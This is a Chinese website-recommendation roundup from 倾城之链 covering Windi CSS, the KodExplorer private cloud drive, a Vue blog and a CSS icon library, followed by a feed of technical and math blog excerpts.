推荐语：Windi CSS 下一代实用优先的 CSS 框架；如果您已经熟悉 Tailwind CSS，可以将 Windi CSS 视为 Tailwind 的按需替代品，它提供更快的加载时间，与 Tailwind v2.0 完全兼容，并具有许多额外的酷炫功能。
“当我的项目变大了，大约有几十个组件时，初始编译时间达到了 3s，热更新用 Tailwind CSS 花了 1s 多。“，基于这样的痛点，作者创造了 Windi CSS；通过扫描您的 HTML 和 CSS 并按需生成实用程序，Windi CSS 能够在开发中提供更快的加载时间和快速的 HMR，并且不需要在生产中清除。
Windi CSS 支持 Tailwind CSS 的所有 Utilities（实用程序类），无需任何额外配置。您可以像往常一样，在组件和样式表中使用实用程序类，只有您使用的 Utilities （实用程序类）才会生成相应的 CSS；这对 Web 前端开发者，非常有用。
── 出自倾城之链 - Windi CSS
可道云-私有云存储&协同办公平台企业网盘企业云盘网盘云盘
关键字：网盘, 云盘, 私有云, 企业网盘, 企业云盘, 企业私有云, 私有云存储, 在线办公, 云网盘, 私有云搭建, 在线 office, 资源管理器, 协同办公, 文档管理
可道云 KodExplorer（原芒果云）提供私有云存储/企业网盘/企业云盘和在线文档管理解决方案，助力企业实现办公协作、Office 在线编辑、安全存储访问和组织权限控制。
推荐语：KodExplorer 可道云 ，原名芒果云，是基于 Web 技术的私有云在线文档管理解决方案。Kod，读音通 code，意为“代码，编码”，中文名为“可道”。Kod 取义于著名计算机科学家 Linus Torvalds 的名言：“Talk is cheap. Show me the code.“。KodExplorer 可道云具有以下功能特征：
轻量易部署
借助可道云，五分钟即可完成私有云平台的初步搭建和使用；采用 Ajax+Json 进行数据通信,毫秒级的响应速度；全平台兼容，对硬件设施要求低，有助于企业挖掘现有硬件潜力，降低部署成本。
本地化的用户体验
沿用了 Windows 操作界面和习惯方式，与本地完全一致的操作体验，用户无须学习即可适应，是私有云里的小米系统，对传统私有云的交互方式构成了革命性的改变。 在线操作，本地体验。支持 100 多种所有格式包括文档、多媒体、工程图件与矢量图件的在线预览和播放，支持文本文档、office 文档的在线编辑，支持在线编程，支持文档分享、离线下载等功能。
适用性强，应用场景多
全平台兼容性：Win、Linux、Mac (Apache、Nginx、IIS)。从百元级别的智能路由器和盒子产品，到 NAS 网络存储设备，到服务器面板，服务器，硬件集成，ERP 集成，私有云、公有云、SaaS 服务搭建等各种场景都可自如适用。
可控性、安全性
支持私有云的局域网部署，多元化的群组和用户权限设置和管理；采取多种加密、防护和强制提醒手段来增强安全性。
高度的可定制和可拓展性
可道云内建插件和应用市场，为私有云提供了强大的可拓展性；同时，可道云提供开放的 API 接口，用户可以根据自己需求方便地与 ERP、OA 等业务系统集成和开发，完善企业业务模块，与现有业务系统完美融合。
KodExplorer 最初由雾渺的个人兴趣开发而来，至今已经五年有余。正如 Linus Torvalds 的名言中所表达的那样，我们认为代码及其衍生的产品是与用户最好的沟通桥梁，能够表达我们的追求、坚持和情感，也是我们作为开发者耕耘的意义所在。KodExplorer 产品发布以来，一直以提供极致的产品体验为己任，持续更新，不断优化，获得了广大用户的肯定和支持。项目当前由杭州可道云网络有限公司开发和运营，亦将秉承 KOD 内在的产品信念，致力于用优秀的产品，为用户提供安全可控、可靠易用、高扩展性的私有云解决方案。
用户只需通过简单环境搭建，即可使用 KodExplorer 快速完成私有云、私有网盘、在线文档管理系统的部署和搭建。KOD 提供了类 Windows 用户界面，延续了 Windows 平台的操作逻辑和使用习惯，支持 100 余种文件格式的在线预览，使得用户的私有云产品可以拥有本地操作一样方便、快捷、安全的体验；为企业用户提供了了文件在线存储与管理、分享和跨平台访问、群组与权限、生产流转、审批存档等全生命周期的在线文档管理的解决方案。
── 出自倾城之链 - 可道云-私有云存储&协同办公平台企业网盘企业云盘网盘云盘
Surmon.me - 来苏之望
关键字：Surmon 博客, surmon-china, 苏尔蒙, Vue 博客, 前端技术开发博客, JavaScript 技术
来苏之望。本是浪蝶游蜂，自留半亩石池，但求直抒胸臆，挥墨九云之中。
推荐语：surmon.me，使用 Vue（3） 构建的个人博客网站，承载了作者对技术、编码、人生等思考；作者将网站划分为明殿、宁静寺、无色庵、丹青阁、茫涯、狂浪生、伯乐、善巧堂、四方馆等模块，来分别承载技术、Github、Vlog、内推、Freelancer、评论、旅行、主页等内容。站在个人角度看，对于技术、或者生活思考，都蛮有深度，感兴趣同学，不妨关注下。
700+ CSS Icons, Customizable, Retina Ready & API
Pure CSS icons library, Customizable & Retina-Ready built 100% in pure CSS, SVG, SVG Sprite, styled-components, Figma and Adobe XD. Easy integration: Embed, NPM & API
推荐语：css.gg，一个非常棒的
图标相关资源网站；是拥有 700+ 开源 CSS、SVG 和 Figma UI 的图标库，可用于 SVG Sprite、样式组件、NPM 和 API；这对 Web 开发非常有用；其每个图表，有纯 CSS、SVG、TSX（react）等多种实现，另外提供了修改颜色、一键拷贝等功能，不仅拿来就能使用，而且还可以学到相关技巧。── 出自倾城之链 - 700+ CSS Icons, Customizable, Retina Ready & API
对倾城之链感兴趣的朋友，可通过 Web，小程序，快应用等渠道进行访问(后续将支持更多，如 VsCode 插件，Chrome 扩展等)。您有任何问题，欢迎随时向我们反馈（您可以通过官网反馈渠道，或添加如下客服微信），🤲 。
本期文末寄语
人们总是用一生来等待开始新的生活，这是很常见的现象。等待是思维的一个状态，意味着你需要未来，而你不要现在。你不要此时此刻，你把希望寄托于未来。丧失对当下时刻的意识，会大大地降低你的生命质量。── 埃克哈特·托利（德国出生的加拿大移民） 《当下的力量》
倾城之链作为一个开放平台，旨在云集全球优秀网站，探索互联网中更广阔的世界；在这里，你可以轻松发现、学习、分享更多有用或有趣的事物。
您可能感兴趣的文章
- 优质网站同好者周刊（第 44 期）- 倾城之链
- 优质网站同好者周刊（第 43 期）- 倾城之链
- 优质网站同好者周刊（第 42 期）- 倾城之链
- 优质网站同好者周刊（第 41 期）- 倾城之链
- 优质网站同好者周刊（第 40 期）- 倾城之链
- 优质网站同好者周刊（第 39 期）- 倾城之链
- 优质网站同好者周刊（第 38 期）- 倾城之链
- 优质网站同好者周刊（第 37 期）- 倾城之链
- 优质网站同好者周刊（第 36 期）- 倾城之链
- 优质网站同好者周刊（第 35 期）- 倾城之链
- 优质网站同好者周刊（第 34 期）- 倾城之链
- 开启技术变现之路，探索第三收入来源
- 云集优站，尽在「倾城之链」
- 云集优站，尽在「倾城之链」其二
- 欲问美图何处寻？倾城之链有定音
- 超实用图片工具网站，值得典藏
- 高质量免费 🆓 图标资源大全
- 十佳 AI 产品工具，为生活添彩
- 最想与朋友分享的网站列表
- 博客 酷 壳 – CoolShell 2021-12-21 15:46:41
工作 20 多年了，这 20 来年看到了很多公司系统架构，也看到了很多问题，在跟这些公司进行交流和讨论的时候，包括进行实施和方案比较的时候，都有很多各种方案的比...
The post 我做系统架构的一些原则 first appeared on 酷 壳 - CoolShell. - 博客 构建我的被动收入 2021-12-18 08:00:00本文从高层次梳理在不同架构演进中认证、授权及凭证这些和架构安全相关的技术的发展过程。
- 博客 MiaoTony's Blog 2021-12-16 23:20:001178
- 博客 Matrix67: The Aha Moments 2021-12-13 12:39:48环面多面体，即亏格为 1 的多面体，直观地说就是有 1 个洞的多面体。下图中三个多面体里分别有 0 个洞、1 个洞和 2 个洞。第二个多面体就是环面多面体。最近，我在研究一些和环面多面体相关的话题，在这里和大家分享一些我的发现。 由正多边形构成的环面多面体 正四面体、正六面体、正八面体、正十二面体、正二十面体、侧面均为正方形的正棱柱、侧面均为等边三角形的正棱锥、足球或者 C60 所对应的多面体等等，都是由正多边形构成的多面体。 有没有什么环面多面体也是由正多边形构成的呢？一个容易想到的做法就是，把 8 个正方体摆成一个“口”字形。这样做是不行的。正方体拼接起来后，原来的很多面会因为共面的原因合成了更大的面。站在整个多面体的角度来讲，它的各个面就不再是正多边形了。 然而，如果我们用下面这样的方法把正方体拼接起来，就漂亮地绕开了这个问题。 做完上面这个图之后，我才发现这个图是有毛病的。作为一个完美主义者，我又重新做了一个正确的图，如下图所示。你能看出这两个图的区别吗？ 答案是，前一个图里，相邻小正方体的公共面，即那些贴合在一起的面，仍然留在了图中；作为一个真正的多面体，它的内部是不该有这些面的。所以，我才做了后面这个图。它里面就是空的了。 利用拼接的方法，还能做出更多满足要求的环面多面体。例如，将 6 个正六棱柱（侧面均为正方形）按照下图的方式拼成一圈，也形成了一个满足要求的图形。 你可以利用这种方式，构造出一些更大胆、更疯狂的图形。比方说，像下图这样，把这些正六棱柱连成一个纽结。 呃……这还算环面多面体吗？换句话说，这还算只有 1 个洞的多面体吗？是的，还算。一个多面体有几个洞，就意味着为了保证它仍然连通，最多能切几刀（每一刀都要切出一个完整的断面）。这是对洞的个数的一种更有效的刻画方式。上图中，只切一刀，整个图形有可能是仍然连通的（比如把链条中的某处切断），也有可能被分成两部分（比如像用削皮刀一样削下表面的一块皮）。但是，如果切两刀，整个图形必然不再连通。这说明，该多面体确实属于只有 1 个洞的多面体。它是环面多面体。 想要看更帅的吗？这是用 8 个正十二面体拼成的环面多面体。显然，它也满足，每个面都是正多边形。 构造所有面均为正多边形的环面多面体还有很多别的截然不同的方式。下面这一对凸多面体具有很有趣的性质： 它们的每个面都是正多边形 它们的高度相同（都是棱长的 √2 倍） 它们的顶面完全相同，底面也完全相同 重叠放置后，前者完全位于后者内部 我们就能在后者当中挖出一个形如前者的孔。这就又得到了一个满足要求的环面多面体。 下面是一个更加复杂的例子。中间的孔是一个侧立着的正十棱柱。 Bonnie Stewart 对这样的多面体进行了非常细致的研究，并写成了 Adventures […]
- 博客 Jiajun的编程随想 2021-12-11 08:00:00《用Go导入大型CSV到PostgreSQL》最近我想试试 `PostgreSQL`，素闻美名，一直没有尝试过。从网上下载了一个超大的CSV，解压后达18G，一般的文件编辑器直接打不开，简单的方案是直接用 PostgreSQL 提供的 `\copy` 命令，或者 `COPY` 语句，但是这个文件无法使用，因为其中有几行都是坏数据...
- 博客 Jiajun的编程随想 2021-12-01 08:00:00《使用 OpenWRT 搭建软路由》绝大部分的家庭网络拓扑，都是很直接的光猫到路由器，然后分别接入有线和无线设备，如下图所示：...
- 博客 MiaoTony's Blog 2021-11-30 21:20:001182
- 博客 Jiajun的编程随想 2021-11-26 08:00:00《使用软KVM切换器 barrier 共享键鼠》我一直用 Linux 办公，之前都是 Linux host + Windows 虚拟机的方案，但是换AMD + 4k显示器之后，虚拟机不知道是啥原因，卡得慌，于是把老本本搬出来放一边用于开会等...
- 博客 MiaoTony's Blog 2021-11-25 21:20:001184
- 博客 构建我的被动收入 2021-11-20 08:00:00本文分享笔者在学习一门新技术时的一些经验。
- 博客 酷 壳 – CoolShell 2021-11-19 17:02:46
最近，我们在 Github 的 Code Review 中看到 Github 开始出现下面这个 Warning 信息—— “This file contains...
The post 源代码特洛伊木马攻击 first appeared on 酷 壳 - CoolShell. - 博客 构建我的被动收入 2021-11-08 08:00:00本文分享了笔者使用 K8S 云原生技术开发个人项目的踩坑经验。
- 博客 Jiajun的编程随想 2021-11-04 08:00:00《SQL 防注入及原理》SQL 注入一直是 Web 安全中非常常见的攻击手段，也是非常严重的安全漏洞，我在使用 SQLAlchemy 的时候，想要防止 like 语句被注入，最后发现 SQLAlchemy 已经做了这一层的处理。我们来看看其原理...
- 博客 MiaoTony's Blog 2021-11-03 21:20:001189
- 博客 Holmesian Blog 2021-11-03 13:43:29情况我的 MBP（A1708）自从把 Mac 版 Onedriver 干掉换成自建的 Seafile ，再把 Mac 版 Docker 丢进虚拟机中的 Ubuntu 里之后，很少会出现风扇狂响的...
- 博客 MiaoTony's Blog 2021-11-02 20:01:001191
- 博客 MiaoTony's Blog 2021-10-26 20:15:001192
- 博客 MiaoTony's Blog 2021-10-25 20:20:001193
- 博客 Randy's Blog 2021-10-20 08:00:001194
- 博客 MiaoTony's Blog 2021-10-19 19:10:001195
- 博客 Jiajun的编程随想 2021-10-12 08:00:00《使用 gomock 测试 Go 代码》gomock 是 Google 推出的用于 Go 的 mock 工具。它的大致用法是：- 需要 mock 的地方，使用接口...
- 博客 Jiajun的编程随想 2021-10-11 08:00:00《gevent不是黑魔法(二): gevent 实现》上一篇我们说了，gevent 是基于 greenlet，结合 event loop 实现的，这一篇我们就来看看 gevent 是如何实现的...
- 博客 轶哥博客 2021-10-09 18:31:18<>在wi11正式版中，设置默认浏览器的方法被微软修改了，更加精细，以至于一开始我竟没有找到在哪里设置。<>以前在wi10中，设置默认浏览器只需要进入
设置-应用-默认应用，对We浏览器进行选择即可调整默认应用程序。但是在wi11中居然开了个倒车，没有提供这样的默认选项，取而代之的是精细化的默认应用设置。<>虽然精细化的设置能够最大程度的把管理权交给用户，但是wi10的快捷设置方式也不失为一个值得保留的选项。两者完全可以共存。摒弃简单方案提高了用户切换默认浏览器的难度，在第一次启动Edge的时候不小心点了介绍界面的确定按钮，wi11就把默认浏览器设置一键为Edge了，还不晓得杂个改回去，就这实在是有点流氓。 - 博客 轶哥博客 2021-10-05 22:13:27<>微软于今日（2021年10月05日）发布了正式版wi11。访问Widow 11 安装助手即可下载安装。下载和前期安装过程不会影响系统正常使用，最后的重启安装的过程大概耗时20分钟，和普通更新感觉耗时差不多。
问题描述
<>从Wi10升级到Wi11后，当计算机第一次启动时（以及之后的每次），Docker Dekto 将无法启动。Docker Dekto 在 Widow 更新之前运行良好。<>每次重新启动计算机或尝试手动启动 Docker Dekto 时，都会出现此问题。<>安装wi11后Docker运行报错，主要报错内容是Microoft .NET Framework无法连接xxx，其实就是无法连接到wl2。<>根据Docker官方说明，需要升级到最新的wl2内核和Docker Dekto。 - 博客 构建我的被动收入 2021-10-04 08:00:00本文介绍了我用 Beancount 替换近 9 年多的挖财记账 App。
- 博客 构建我的被动收入 2021-10-02 08:00:00被动收入投资组合2021年09月月报
- 博客 轶哥博客 2021-09-30 14:00:00<>
<>2021年7月14日凌晨，苹果官网上线新款MagSafe外接电池。官网原价749元。<>此消息一出，立刻有不少网友吐槽：“祖传5V 1A充电宝，屁大点容量卖那么贵，完全是智商税”。<>然而事实并非如此，苹果磁吸充电宝实则是一个设计上非常优秀的产品。<>首先，苹果将此充电宝称为“MagSafe外接电池”，这就说明此产品并非简单的无线移动电源。既然是备用电池，那么就不只是没电的时候用来给手机充电的产品了，这是苹果
Smart Battery Cae产品线的替代品。<><>早在2015年，Ale公司就推出了Smart Battery Cae（智能电池壳）产品。我们都知道苹果公司很大的优势在于强大的软硬件整合能力，苹果公司借助自身对软件的定制化能力去完善硬件体验。用户使用Smart Battery Cae的时候，iPhoe 的锁定屏幕和通知中心会智能显示电池状态，它还可以实现在手机充电的同时，交叉为保护壳充电。这是第三方保护壳或者充电宝无法实现的。<>在MagSafe外接电池产品的设计上，苹果也采用了类似的方案。通过苹果私有的通讯协议和IOS系统进行通讯，iPhoe中可以查看MagSafe外接电池的电量，同时在充电的时候iPhoe会自动控制什么时候充手机什么时候充MagSafe外接电池。
- 博客 Jiajun的编程随想 2021-09-29 08:00:00《gevent不是黑魔法(一): greenlet 实现》最近粗略的读了一下 gevent 的实现，毕竟用了这么多年的 gevent，之前没去看过怎么实现，心里没底呀。gevent 是基于 greenlet 之上，结合 eventloop 实现的一套 Python 协程库，通过 gevent monkey patch，可以用同步的方式写出...
- 博客 MiaoTony's Blog 2021-09-18 22:30:001204
- 博客 Matrix67: The Aha Moments 2021-09-12 20:18:56我正在餐桌前吃早餐。餐桌上有一张圆形的大饼，有一个方形的蛋糕，还有一个甜甜圈。我依次思考了下面三个问题。你能帮我想出它们的答案吗？ 3 刀切一张圆形的大饼，最多能把它分成多少块？或者说，3 条直线最多能把一个圆盘分成多少个区域？ 4 刀切一个方形的蛋糕，最多能把它分成多少块？或者说，4 个平面最多能把一个正方体分成多少个区域？ 3 刀切一个甜甜圈，最多能把它分成多少块？或者说，3 个平面最多能把一个（实心的）环面分成多少个区域？ 提示：上一个问题的答案总会为下一个问题提供线索。 3 刀切一张圆形的大饼，最多能把它分成多少块？或者说，3 条直线最多能把一个圆形分成多少个区域？ 这是一个经典的小学问题。答案是 7 块。如图所示，事实上，当直线数分别为 1, 2, 3, 4, 5, …时，最多产生的区域数对应地是 2, 4, 7, 11, 16, …。这背后的规律是：1 条直线能把圆盘分成 2 个区域；第 2, 3, 4, 5, …条直线，则会让区域数增加 2, 3, 4, 5, …个。 1 条直线最多能把圆盘分成 2 个区域，这事儿很显然。为什么第 n 条直线会让区域数增加 n 呢？这背后有一个非常简单的解释。前 n − 1 条直线会与第 […]
- 博客 构建我的被动收入 2021-09-11 08:00:00被动收入投资组合2021年08月月报
- 博客 Matrix67: The Aha Moments 2021-09-07 00:25:16大家应该听说过 9 枚硬币的问题吧。9 枚硬币当中有 8 枚是真币，有 1 枚是假币。所有的真币重量都相同，假币的重量则稍重一些。怎样利用一架天平两次就找出哪一枚硬币是假币？方法是，先把 9 枚硬币分成三组，每组各 3 枚硬币。然后，把第一组放在天平左边，把第二组放在天平右边。如果天平向左倾斜，说明假币在第一组里；如果天平向右倾斜，说明假币在第二组里；如果天平平衡，说明假币在剩下的第三组里。现在，假币的嫌疑范围就被缩小到 3 枚硬币之中了。选择其中 2 枚硬币分放在天平左右两侧。类似地，如果天平左倾，就说明左边那枚硬币是假的；如果天平右倾，就说明右边那枚硬币是假的；如果天平平衡，就说明没放上去的那枚硬币是假的。 9 硬币问题实在是太经典了，你甚至能在人教版小学五年级下册的课本里看到它。9 硬币问题还衍生出了很多变形，其中最著名的当属 12 硬币问题了：有 12 枚硬币，其中一枚是假币，但我们不知道假币是更重一些还是更轻一些；请利用一架天平三次找出哪一枚硬币是假币，并判断出它比真币更重还是更轻。12 硬币问题的经典程度恐怕不亚于 9 硬币问题。早在 20 世纪 40 年代，12 硬币问题就已经吸引了一大批数学家和数学爱好者，甚至有人建议把这个问题扔到德国去，以削弱德国人在二战中的战斗力。如果你想知道答案，可以在网上找找，应该很容易找到。我们今天就不讨论了。 今天，我们真正想聊的其实是这个问题的另外一种比较少见的变形：仍然是要在 9 枚硬币当中寻找 1 枚假币，仍然假设假币的重量要稍重一些，仍然只能使用天平两次；但是这一次，你所使用的是一种“天平机”，它不会立即告诉你现在是哪边重哪边轻，而是在你两次称完后把这两次的结果一并打印给你。这下，你就没法根据天平的反馈结果随机应变了，必须事先把每次怎么放硬币全规划好。那么，你该怎么办？在本文后面的内容中，均已知假币比真币更重，直至另有说明。 答案并不复杂。你的第一步应该和刚才一样，仍然是把 9 枚硬币均分成三组，把第一组放在天平左边，把第二组放在天平右边。妙就妙在第二步。我们的原计划是，哪一组里有假币，就在哪一组里选出 2 枚硬币分放在天平两侧。但是，由于没有及时的反馈，我们根本就不知道哪一组里有假币，这该怎么办呢？其实，我们根本不用管哪一组里有假币，从每一组里都选 2 枚硬币放上去就行了，反正另外两组硬币都是真的，放上去了不会有什么影响。这有一点“并行运算”的意思。举例来说，如果第一步放在天平左右两侧的硬币编号分别是 1、2、3 和 4、5、6，那么第二步放在天平左右两侧的硬币编号就应该是 1、4、7 和 2、5、8。如果事后天平告诉我，第一次称完左边更重一些，那么我就知道了假币一定在 1、2、3 当中，于是第二次左边更重就说明 1 是假币，第二次右边更重就说明 2 是假币，第二次天平平衡就说明 […]
- 博客 Jiajun的编程随想 2021-09-06 08:00:00《用 entgo 替代 gorm》一直以来，基本上 Go 的ORM都是用 GORM 。直到前段时间朋友推荐了 entgo，尝试之后发现 entgo 是更好的选择。entgo 是 Facebook 开源的一个基于 go generate生成的 ORM，但是并不算复杂，相比 GORM 的好处在于，GORM中，大量存在...
- 博客 Matrix67: The Aha Moments 2021-09-06 00:03:12下面这个趣题出自 Using your Head is Permitted 谜题站 2016 年 10 月的题目：能否把一个凸四边形分成若干个凹四边形？ 答案是否定的。我们给出一个非常漂亮的证明。在下面的文字中，我们用“优角”一词来表示一个大于 180 度小于 360 度的角。 假设某个凸四边形被分成了若干个凹四边形。容易看出，每个凹四边形的内角中都有且仅有一个优角（如果没有优角，它就不是凹四边形；如果有两个或更多的优角，就与四边形内角和为 360 度矛盾）。 现在，让我们把每个凹四边形的那个优角顶点涂成蓝色。容易看出，每个蓝色顶点只能成为一个凹四边形的一个优角顶点（否则汇聚于该点处的角度之和会超过 360 度）。这意味着，每个蓝色顶点都唯一地对应一个凹四边形。如果图中的蓝色顶点一共有 n 个，那么凹四边形也一共有 n 个。 我们用两种不同的方式来统计所有凹四边形的所有内角的度数之和。汇集在每个蓝色顶点的内角之和都是 360° ，汇集在原四边形四个顶点处的内角之和也是一个 360° ，所以我们已经有至少 n × 360° + 360° 了。考虑到其他没涂成蓝色的顶点处还有很多角，因此上面这个数目实际上还会更多。但是，我们一共有 n 个凹四边形，每个凹四边形的内角之和是 360° ，因此所有凹四边形的所有内角之和显然应该是 n × 360° 。这个矛盾说明，我们无法把一个凸四边形分成若干个凹四边形。
- 博客 贼拉正经的技术博客 2021-09-05 16:16:491210
- 博客 酷 壳 – CoolShell 2021-09-04 13:44:02
Go语言的1.17版本发布了，其中开始正式支持泛型了。虽然还有一些限制（比如，不能把泛型函数export），但是，可以体验了。我的这个《Go编程模式》的系列终于...
The post Go编程模式 ： 泛型编程 first appeared on 酷 壳 - CoolShell. - 博客 Jiajun的编程随想 2021-09-01 08:00:00《应用内使用crontab不是那么方便》以前我一直是 cron 的忠实用户，毕竟这么多年了，cron 非常稳定。我一直说 cron 简单粗暴，坚如磐石。但是随着使用 cron 越多，我越是发现不太方便的一些地方，主要是在应用开发里...
- 博客 Jiajun的编程随想 2021-08-27 08:00:00《单测时要不要 mock 数据库？》最近我们讨论了一个问题，要不要 mock 数据库？ 本文是我的一些个人观点。首先，对于第三方调用进行 mock ，这是基本都能获得一致意见的，但是是否需要 mock 数据库，则各有分歧。我是赞成不 mock 数据库...
- 博客 Jiajun的编程随想 2021-08-25 08:00:00《Sentry 自建指南》之前一直使用官方的免费服务，最近想要自己托管一个玩玩，于是就折腾了起来。Sentry 是一个开源的异常收集工具，据我所知好像很多公司都在用它，而且讲真确实挺好用的，我也是老用户...
- 博客 MiaoTony's Blog 2021-08-24 22:30:001215
- 博客 构建我的被动收入 2021-08-23 08:00:00本文分享笔者基于AWS与Pulumi搭建类GitHub Codespaces的云端VSCode的经验。
- 博客 Jiajun的编程随想 2021-08-19 08:00:00《用selenium完成自动化任务》Selenium 是一个控制浏览器的自动化软件，常常用来做自动化UI测试（浏览器端），既然可以代码控制，那么就是自动化的一个好工具了。这一篇我们就来看看如何使用 Selenium 来搜索一下，由于 Selenium打开一个全新的浏览器会话，我没有配置全局梯子，我们就以百度搜索为例...
- 博客 MiaoTony's Blog 2021-08-15 22:30:001218
- 博客 MiaoTony's Blog 2021-08-10 22:30:001219
- 博客 轶哥博客 2021-08-09 00:21:27<>
此安装方法通用于所有*uix系统、Widow系统。 <>在OMV5（oemediavault）中安装WeDAV服务器端的方法不同于旧版本。在OMV5之前的版本，可以直接在管理界面的“插件”中安装并启用WeDAV服务，但是新版本去除了此插件，需要手工进行安装。目前相关资料较为匮乏，网上的WeDAV镜像质量也参差不齐。<>通过对比目前较为受欢迎的WeDAV服务器端软件，htt://githu.com/hacdia/wedav 较为稳定（唯一遗憾的是，此仓库作者提供的Docker镜像竟然在Docker Hu中排名非常靠后，以至于完全搜不到）。<>此开源项目是使用GoLag开发的，因此兼容性非常强悍，仅作者预编译针对不同操作系统和CPU架构的二进制文件就有34种，可以说涵盖了几乎所有运行环境。<>作者默认使用此软件的都是专业选手，因此没有手把手的文档可以参考。这对于非程序员甚至非GoLag程序员不太友好。 - 博客 MiaoTony's Blog 2021-08-07 22:30:001221
- 博客 构建我的被动收入 2021-07-27 08:00:00被动收入投资组合2021年07月月报
- 博客 构建我的被动收入 2021-07-25 08:00:00本文分享如何构建一个高效、高质量的信息输入渠道。
- 博客 Randy's Blog 2021-07-20 08:00:001224
- 博客 酷 壳 – CoolShell 2021-07-13 13:00:46
分享信息并不难，大多数人都能做到，就算是不善言谈性格内向的技术人员，通过博客或社交媒体，或是不正式的交流，他们都能或多或少的做到。但是如果你想要做一个有质量有高...
The post 如何做一个有质量的技术分享 first appeared on 酷 壳 - CoolShell. - 博客 Jiajun的编程随想 2021-07-09 08:00:00《用闲置的安卓手机做垃圾电话短信过滤》我几乎每天都要收到垃圾短信和电话，基本都是：你买房吗？你装修吗？你分期吗？你改套餐吗？你...超级烦人，对于短信，iOS和Android都有不错的解决方案，但是对于垃圾电话来说，没有一个好用的方案，即使安装了手机管家，也没有什么用，相反我成了电话标注的一个数据源，它并没有帮助到我避免被打扰，只能采取打一个拉黑一个的方案，但是敌在暗处，我在明处，防不胜防...
- 博客 Jiajun的编程随想 2021-07-06 08:00:00《推荐三个时间管理工具》最近比较忙，一忙起来，就没完没了，各种事情来找，怎么把事情安排的有条不紊呢？这个时候就需要借助一些时间管理工具了。我今天介绍三个，他们分别是Google Calendar，Kanboard和Microsoft TODO...
- 博客 构建我的被动收入 2021-07-03 08:00:00被动收入投资组合2021年06月月报
- 博客 Jiajun的编程随想 2021-07-02 08:00:00《一次事故反思》最近把一个管理后台系统从原来的大单体中整体拆分出来，出了四个问题，我对此进行深刻反思。本文为反思录。事情的起因是大家决定要把管理后台拆出来，状况是...
- 博客 构建我的被动收入 2021-06-27 08:00:00本文分享笔者在项目中实施国际化与本地化的总结经验。
- 博客 Jiajun的编程随想 2021-06-22 08:00:00《当JS遇到uint64：JS整数溢出问题》最近遇到一个问题，就是传了一个超级大的uint64，结果前端发现数字对不上，精度丢失了！原因就在于，JS的Number是"64-bit floating point IEEE 754 number"。最大能表示的数是 `Number.MAX_SAFE_INTEGER`，一般来说，就是...
- 博客 Jiajun的编程随想 2021-06-19 08:00:00《SQLite3 存储以及ACID原理》我一直想知道如何处理磁盘存储，最近学习了一下SQLite3的做法，这是学习笔记。首先多亏了操作系统的抽象，对于一个磁盘上文件，我们可以简单的想象成...
- 博客 Randy's Blog 2021-06-16 08:00:001233
- 博客 Randy's Blog 2021-06-16 08:00:001234
- 博客 Jiajun的编程随想 2021-06-07 08:00:00《Redis源码阅读：pub/sub实现》今天我们来看看Redis是怎么实现 PUB/SUB 这个功能的，其实比较简单，但是我们还是从命令入手。PUB/SUB 命令用法如下：```bash...
- 博客 Jiajun的编程随想 2021-06-06 08:00:00《Redis源码阅读：zset实现》关于zset这个数据结构的，网上有很多的资料，这一篇文章我主要还是通过探索几个命令，来看到zset是怎么实现的。首先我得借用维基百科上一张关于skiplist的图，来让大家对skiplist进行一个认知...
- 博客 构建我的被动收入 2021-06-05 08:00:00被动收入投资组合2021年05月月报
- 博客 Jiajun的编程随想 2021-05-30 08:00:00《Redis源码阅读：bitmap 位图的运算》Redis提供了位图，位图也就是从bit的角度来看数据，可以把某一个bit设置为0或者1，举个简单的例子，我们希望记录用户某个月的每一天是否登录，那么就只需要给一个32bit的值，如果第n天登录了，就把第n个bit设置为1。位图很节省内存，毕竟是从bit的角度来看待和存储数据的，但是缺点也很明显，位图所需要存储的数据的大小取决于上限...
- 博客 Jiajun的编程随想 2021-05-29 08:00:00《Redis源码阅读：set是怎么做交并集运算的？》今天我们来看看 Redis 中的set是如何存储数据，然后如何做交集、并集、差集运算的，所以我们一共会探索 `SADD`, `SISMEMBER`,`SINTER`, `SUNION`, `SDIFF` 这五个命令的实现...
- 博客 Jiajun的编程随想 2021-05-28 08:00:00《Redis源码阅读：list实现(ziplist, quicklist)》如果我们用Redis做过broker，就知道，绝大部分的队列实现，都是基于 `LPUSH` 和 `BRPOP` 这两个命令的。那么，Redis到底是怎么实现list的呢？底层是如何实现的，是否省内存，Redis为了省内存又做了什么优化？阻塞版的pop又是怎么实现的？这篇文章里，我们就会探讨这些问题...
- 博客 Jiajun的编程随想 2021-05-27 08:00:00《Redis源码阅读：RDB是怎么实现的》Redis中提供的另外一种持久化方式就是RDB，全称是 Redis Database，其实就是把Redis进程中存储的内容全部dump到磁盘上，因此 RDB 文件是以二进制形式保存的，这一点与 AOF 相反...
- 博客 王子亭的博客 2021-05-27 01:00:00
Deno 一出生便带着光环 —— 它发布于 Node.js 创始人 Ryan Dahl 的演讲「Design Mistakes in Node（幻灯片）」，当时有些人说 Node.js 要凉了，但我不这么认为。
原生 TypeScript
其实目前我们在引擎的「用户态」去使用 TypeScript 并没有引入任何问题，而且给用户带来了很大的灵活性。考虑到 TypeScript 不可能离开 JavaScript 的生态 —— 毕竟引擎总是要支持 JavaScript 的；再加上 TypeScript 有不同的版本、不同的编译开关，在用户态使用 TypeScript 可以说是最好的方案了。TypeScirpt 迟早会成为 Deno 的历史包袱。
从性能的角度，在 TypeScript 没出现之前，V8 已经在 JavaScript 上进行大量 魔法优化 了，可以说 JIT 出来的代码并不比其他静态类型的语言差太多，是没法简单地通过 TypeScript 来提升性能的。再加上前面说了引擎总还是要支持 JavaScript、TypeScript 的运行时语义依然是 JavaScript（TypeScript 并不能保证对象的实际类型在运行时不被修改），所以引擎也不可能从对 JavaScript 的魔法优化切换到基于 TypeScript 的类型来做优化。
包管理器
我一直认为 NPM 是最好用的包管理器之一，这包括将依赖保存在项目目录中 —— 在调整一个项目的依赖时不必担心对其他项目产生影响；每个包都可以指定自己的依赖版本，允许多版本并存 —— 在升级一个包的依赖时不会影响到其他包，每个包都可以使用新的版本或继续使用旧的版本；NPM 负责查找和安装包，而 Node.js 则用相对简单的协议去使用这些包，它们可以彼此独立地升级演进。
可以看到 NPM 最终极大地减轻了开发者的心智负担，只要你按照正确的方式去使用它，极少会遇到其他语言中有关依赖管理的问题。而 Deno 则反其道行之。虽然 Deno 也提供了一些相关的功能（deno cache），但你会发现 Deno 的本意仍然是不希望进行「依赖管理」。
